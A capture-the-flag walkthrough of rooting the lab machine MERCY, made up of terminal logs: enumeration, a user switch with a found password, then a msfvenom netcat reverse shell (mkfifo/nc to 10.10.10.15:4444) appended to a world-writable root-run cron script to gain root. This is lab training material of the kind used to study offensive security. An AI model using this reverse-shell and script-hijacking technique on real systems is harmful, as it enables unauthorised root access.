ls -la
total 24
drwxr-xr-x  6 root                  root                  4096 Nov 20  2018 .
drwxr-xr-x 21 root                  root                  4096 Aug 27  2018 ..
drwxr-x---  3 fluffy                fluffy                4096 Nov 20  2018 fluffy
drwxr-x---  3 pleadformercy         pleadformercy         4096 Sep  1  2018 pleadformercy
drwxr-x---  5 qiu                   qiu                   4096 Sep  1  2018 qiu
drwxr-xr-x  3 thisisasuperduperlonguser thisisasuperduperlonguser 4096 Nov 20  2018
thisisasuperduperlonguser
tomcat7@MERCY:/home$ cd fluffy
cd fluffy
bash: cd: fluffy: Permission denied
tomcat7@MERCY:/home$ cd plead
cd pleadformercy/
bash: cd: pleadformercy/: Permission denied
tomcat7@MERCY:/home$ cd q
cd qiu/
bash: cd: qiu/: Permission denied
tomcat7@MERCY:/home$ cd th
cd thisisasuperduperlonguser/
tomcat7@MERCY:/home/thisisasuperduperlonguser$ ls -la
ls -la
total 24
drwxr-xr-x 3 thisisasuperduperlonguser thisisasuperduperlonguser 4096 Nov 20  2018 .
drwxr-xr-x 6 root                  root                  4096 Nov 20  2018 ..
-rw-r--r-- 1 thisisasuperduperlonguser thisisasuperduperlonguser  220 Aug 26
2018 .bash_logout
-rw-r--r-- 1 thisisasuperduperlonguser thisisasuperduperlonguser 3637 Aug 26
2018 .bashrc
-rw-r--r-- 1 thisisasuperduperlonguser thisisasuperduperlonguser  675 Aug 26  2018 .profile
drwxr-xr-x 2 thisisasuperduperlonguser thisisasuperduperlonguser 4096 Nov 20  2018 work
tomcat7@MERCY:/home/thisisasuperduperlonguser$ cd wo
cd work/
tomcat7@MERCY:/home/thisisasuperduperlonguser/work$ ls -la
ls -la
total 20
drwxr-xr-x 2 thisisasuperduperlonguser thisisasuperduperlonguser 4096 Nov 20  2018 .
drwxr-xr-x 3 thisisasuperduperlonguser thisisasuperduperlonguser 4096 Nov 20  2018 ..
-rw-r--r-- 1 thisisasuperduperlonguser thisisasuperduperlonguser   16 Nov 20  2018
configuration.txt
-rw-r--r-- 1 thisisasuperduperlonguser thisisasuperduperlonguser   12 Nov 20  2018
password.txt
-rw-r--r-- 1 thisisasuperduperlonguser thisisasuperduperlonguser   44 Nov 20  2018
systeminfo.txt
tomcat7@MERCY:/home/thisisasuperduperlonguser/work$

tomcat7@MERCY:/home/thisisasuperduperlonguser$ find / -perm -u=s -type f 2>/dev/null
null / -perm -u=s -type f 2>/dev/
/usr/sbin/pppd
```

/usr/sbin/uuidd
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/authbind/helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/landscape/apt-update
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/procmail
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/lppasswd
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/mtr
/sbin/mount.cifs
/bin/umount
/bin/ping
/bin/mount
/bin/fusermount
/bin/ping6
/bin/su
tomcat7@MERCY:/home/thisisasuperduperlonguser$

tomcat7@MERCY:/home$ cd fluffy
cd fluffy
bash: cd: fluffy: Permission denied
tomcat7@MERCY:/home$ su fluffy
su fluffy
Password: freakishfluffybunny

Added user fluffy.

$ whoami
whoami
fluffy
fluffy@MERCY:~/.private/secrets$ ls -la
ls -la
total 20
drwxr-xr-x 2 fluffy fluffy 4096 Nov 20 2018 .
drwxr-xr-x 3 fluffy fluffy 4096 Nov 20 2018 ..
-rwxr-xr-x 1 fluffy fluffy   37 Nov 20 2018 backup.save
-rw-r--r-- 1 fluffy fluffy   12 Nov 20 2018 .secrets
-rwxrwxrwx 1 root   root   222 Nov 20 2018 timeclock
fluffy@MERCY:~/.private/secrets$ cat ba
cat backup.save
#!/bin/bash

echo Backing Up Files;

```
fluffy@MERCY:~/.private/secrets$ cat .s
cat .secrets
Try harder!
fluffy@MERCY:~/.private/secrets$ cat tim
cat timeclock
#!/bin/bash

now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time
fluffy@MERCY:~/.private/secrets$
```

TIME CLOCK IS RUNNING AS BIN/BASH WE MAY BE ABLE TO MANIPULATE THAT!!!

Priv Esc Timeclock

TIME

```
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.15 LPORT=4444       1 ×
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 89 bytes
mkfifo /tmp/tsuh; nc 10.10.10.15 4444 0</tmp/tsuh | /bin/sh >/tmp/tsuh 2>&1; rm /tmp/-
tsuh
```

make the msfvenom playload

Append the secret file

```
echo "mkfifo /tmp/tsuh; nc 10.10.10.15 4444 0</tmp/tsuh | /bin/sh >/tmp/tsuh 2>&1;
rm /tmp/tsuh" >> timeclock
```

```
fluffy@MERCY:~/.private/secrets$ cat timeclock
cat timeclock
#!/bin/bash

now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time
mkfifo /tmp/tsuh; nc 10.10.10.15 4444 0</tmp/tsuh | /bin/sh >/tmp/tsuh 2>&1; rm /tmp/-
tsuh
fluffy@MERCY:~/.private/secrets$
```

Took about a minute but then i saw this!

```
┌──(kali㉿kali)-[~/Scripts]
└─$ nc -lvnp 4444
listening on [any] 4444 ...


whoami
connect to [10.10.10.15] from (UNKNOWN) [10.10.10.13] 52334
root
python -c 'import pty; pty.spawn("/bin/bash")'
root@MERCY:~# ls -la
ls -la
total 56
drwx------  3 root root  4096 Sep  1  2018 .
drwxr-xr-x 21 root root  4096 Aug 27  2018 ..
drwx------  2 root root  4096 Aug 24  2018 .aptitude
----------  1 root root  1274 Sep  1  2018 author-secret.txt
-rw-------  1 root root   204 Nov 20  2018 .bash_history
-rw-r--r--  1 root root  3106 Feb 20  2014 .bashrc
-rw-r--r--  1 qiu  qiu  17543 Mar 11 05:30 config
-rw-r--r--  1 root root   140 Feb 20  2014 .profile
----------  1 root root    38 Aug 25  2018 proof.txt
-rw-r--r--  1 root root    66 Aug 26  2018 .selected_editor
root@MERCY:~# cat pro
cat proof.txt
Congratulations on rooting MERCY. :-)
root@MERCY:~#

root@MERCY:~# cat au
cat author-secret.txt
Hi! Congratulations on being able to root MERCY.

The author feels bittersweet about this box. On one hand, it was a box designed as a dedication to the sufferance put through by the Offensive Security team for PWK. I thought I would pay it forward by creating a vulnerable machine too. This is not meant to be a particularly difficult machine, but is meant to bring you through a good number of enumerative steps through a variety of techniques.

The author would also like to thank a great friend who he always teases as "plead for mercy". She has been awesome. The author, in particular, appreciates her great heart, candour, and her willingness to listen to the author's rants and troubles. The author will stay forever grateful for her presence. She never needed to be this friendly to the author.

The author, as "plead for mercy" knows, is terrible at any sort of dedication or gifting, and so the best the author could do, I guess, is a little present, which explains the hostname of this box. (You might also have been pleading for mercy trying to root this box, considering its design.)

You'll always be remembered, "plead for mercy", and Offensive Security, for making me plead for mercy!

Congratulations, once again, for you TRIED HARDER!

Regards,
```

The Author
root@MERCY:~#